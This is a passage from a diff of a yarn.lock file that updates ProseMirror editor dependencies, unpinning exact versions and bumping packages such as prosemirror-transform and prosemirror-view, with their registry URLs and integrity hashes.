- integrity sha512-BwBbZ5OAScPcm0x7H8SPbqjuEJnCU2RJT9LDyOiiIl/3NbL1nJZI4SFNHwU2e/tRr2Xe7JsptpzseqvZvToLBQ==
+prosemirror-commands@^1.3.1:
+ version "1.3.1"
+ resolved "https://registry.yarnpkg.com/prosemirror-commands/-/prosemirror-commands-1.3.1.tgz#926c88801eebaa50363d4658850b41406d375a31"
+ integrity sha512-XTporPgoECkOQACVw0JTe3RZGi+fls3/byqt+tXwGTkD7qLuB4KdVrJamDMJf4kfKga3uB8hZ+kUUyZ5oWpnfg==
dependencies:
prosemirror-model "^1.0.0"
prosemirror-state "^1.0.0"
prosemirror-transform "^1.0.0"
-prosemirror-dropcursor@^1.5.0:
+prosemirror-dropcursor@1.5.0:
version "1.5.0"
resolved "https://registry.yarnpkg.com/prosemirror-dropcursor/-/prosemirror-dropcursor-1.5.0.tgz#edbc61d6f71f9f924130eec8e85b0861357957c9"
integrity sha512-vy7i77ddKyXlu8kKBB3nlxLBnsWyKUmQIPB5x8RkYNh01QNp/qqGmdd5yZefJs0s3rtv5r7Izfu2qbtr+tYAMQ==
@@ -10167,7 +10169,7 @@ prosemirror-dropcursor@^1.5.0:
prosemirror-transform "^1.1.0"
prosemirror-view "^1.1.0"
-prosemirror-gapcursor@^1.3.0:
+prosemirror-gapcursor@^1.3.1:
version "1.3.1"
resolved "https://registry.yarnpkg.com/prosemirror-gapcursor/-/prosemirror-gapcursor-1.3.1.tgz#8cfd874592e4504d63720e14ed680c7866e64554"
integrity sha512-GKTeE7ZoMsx5uVfc51/ouwMFPq0o8YrZ7Hx4jTF4EeGbXxBveUV8CGv46mSHuBBeXGmvu50guoV2kSnOeZZnUA==
@@ -10186,7 +10188,7 @@ prosemirror-history@^1.3.0:
prosemirror-transform "^1.0.0"
rope-sequence "^1.3.0"
-prosemirror-keymap@1.2.0, prosemirror-keymap@^1.0.0, prosemirror-keymap@^1.1.2:
+prosemirror-keymap@^1.0.0, prosemirror-keymap@^1.1.2, prosemirror-keymap@^1.2.0:
version "1.2.0"
resolved "https://registry.yarnpkg.com/prosemirror-keymap/-/prosemirror-keymap-1.2.0.tgz#d5cc9da9b712020690a994b50b92a0e448a60bf5"
integrity sha512-TdSfu+YyLDd54ufN/ZeD1VtBRYpgZnTPnnbY+4R08DDgs84KrIPEPbJL8t1Lm2dkljFx6xeBE26YWH3aIzkPKg==
@@ -10202,7 +10204,7 @@ prosemirror-markdown@1.9.1:
markdown-it "^13.0.1"
prosemirror-model "^1.0.0"
-prosemirror-model@1.18.1, prosemirror-model@^1.0.0, prosemirror-model@^1.16.0, prosemirror-model@^1.18.1, prosemirror-model@^1.2.0, prosemirror-model@^1.8.1:
+prosemirror-model@^1.0.0, prosemirror-model@^1.16.0, prosemirror-model@^1.18.1, prosemirror-model@^1.2.0, prosemirror-model@^1.8.1:
version "1.18.1"
resolved "https://registry.yarnpkg.com/prosemirror-model/-/prosemirror-model-1.18.1.tgz#1d5d6b6de7b983ee67a479dc607165fdef3935bd"
integrity sha512-IxSVBKAEMjD7s3n8cgtwMlxAXZrC7Mlag7zYsAKDndAqnDScvSmp/UdnRTV/B33lTCVU3CCm7dyAn/rVVD0mcw==
@@ -10216,16 +10218,16 @@ prosemirror-schema-basic@^1.0.0, prosemirror-schema-basic@^1.2.0:
dependencies:
prosemirror-model "^1.2.0"
-prosemirror-schema-list@1.2.0, prosemirror-schema-list@^1.0.0, prosemirror-schema-list@^1.2.0:
- version "1.2.0"
- resolved "https://registry.yarnpkg.com/prosemirror-schema-list/-/prosemirror-schema-list-1.2.0.tgz#1932268593a7396c0ac168cbe31f28187406ce24"
- integrity sha512-8PT/9xOx1HHdC7fDNNfhQ50Z8Mzu7nKyA1KCDltSpcZVZIbB0k7KtsHrnXyuIhbLlScoymBiLZ00c5MH6wdFsA==
+prosemirror-schema-list@^1.0.0, prosemirror-schema-list@^1.2.2:
+ version "1.2.2"
+ resolved "https://registry.yarnpkg.com/prosemirror-schema-list/-/prosemirror-schema-list-1.2.2.tgz#bafda37b72367d39accdcaf6ddf8fb654a16e8e5"
+ integrity sha512-rd0pqSDp86p0MUMKG903g3I9VmElFkQpkZ2iOd3EOVg1vo5Cst51rAsoE+5IPy0LPXq64eGcCYlW1+JPNxOj2w==
dependencies:
prosemirror-model "^1.0.0"
prosemirror-state "^1.0.0"
prosemirror-transform "^1.0.0"
-prosemirror-state@1.4.1, prosemirror-state@^1.0.0, prosemirror-state@^1.2.2, prosemirror-state@^1.3.1, prosemirror-state@^1.4.1:
+prosemirror-state@^1.0.0, prosemirror-state@^1.2.2, prosemirror-state@^1.3.1, prosemirror-state@^1.4.1:
version "1.4.1"
resolved "https://registry.yarnpkg.com/prosemirror-state/-/prosemirror-state-1.4.1.tgz#f6e26c7b6a7e11206176689eb6ebbf91870953e1"
integrity sha512-U/LBDW2gNmVa07sz/D229XigSdDQ5CLFwVB1Vb32MJbAHHhWe/6pOc721faI17tqw4pZ49i1xfY/jEZ9tbIhPg==
@@ -10242,17 +10244,17 @@ prosemirror-test-builder@^1.1.0:
prosemirror-schema-basic "^1.0.0"
prosemirror-schema-list "^1.0.0"
-prosemirror-transform@1.6.0, prosemirror-transform@^1.0.0, prosemirror-transform@^1.1.0, prosemirror-transform@^1.2.1:
- version "1.6.0"
- resolved "https://registry.yarnpkg.com/prosemirror-transform/-/prosemirror-transform-1.6.0.tgz#8162dbfaf124f9253a7ab28605a9460411a96a53"
- integrity sha512-MAp7AjsjEGEqQY0sSMufNIUuEyB1ZR9Fqlm8dTwwWwpEJRv/plsKjWXBbx52q3Ml8MtaMcd7ic14zAHVB3WaMw==
+prosemirror-transform@^1.0.0, prosemirror-transform@^1.1.0, prosemirror-transform@^1.2.1, prosemirror-transform@^1.7.0:
+ version "1.7.0"
+ resolved "https://registry.yarnpkg.com/prosemirror-transform/-/prosemirror-transform-1.7.0.tgz#a8a0768f3ee6418d26ebef435beda9d43c65e472"
+ integrity sha512-O4T697Cqilw06Zvc3Wm+e237R6eZtJL/xGMliCi+Uo8VL6qHk6afz1qq0zNjT3eZMuYwnP8ZS0+YxX/tfcE9TQ==
dependencies:
prosemirror-model "^1.0.0"
-prosemirror-view@1.26.2, prosemirror-view@^1.0.0, prosemirror-view@^1.1.0, prosemirror-view@^1.13.3, prosemirror-view@^1.26.1:
- version "1.26.2"
- resolved "https://registry.yarnpkg.com/prosemirror-view/-/prosemirror-view-1.26.2.tgz#e673894ecf26aea330b727622d561c51b41d31eb"
- integrity sha512-CGKw+GadkfSBEwRAJTHCEKJ4DlV6/3IhAdjpwGyZHUHtbP7jX4Ol4zmi7xa2c6GOabDlIJLYXJydoNYLX7lNeQ==
+prosemirror-view@^1.0.0, prosemirror-view@^1.1.0, prosemirror-view@^1.13.3, prosemirror-view@^1.28.2:
+ version "1.28.2"
+ resolved "https://registry.yarnpkg.com/prosemirror-view/-/prosemirror-view-1.28.2.tgz#e997ef9dc623d01afd170e328fc924e6f4382003"
+ integrity sha512-uK28mJbu0GI8Oz7Aclt6BKL4g+C59EBShBXDB0Y9Y71H25p4bQgmLQLfDWjsT1J9XOw0bR8QQajZmdK8RvXI9g==
dependencies:
prosemirror-model "^1.16.0"
prosemirror-state "^1.0.0"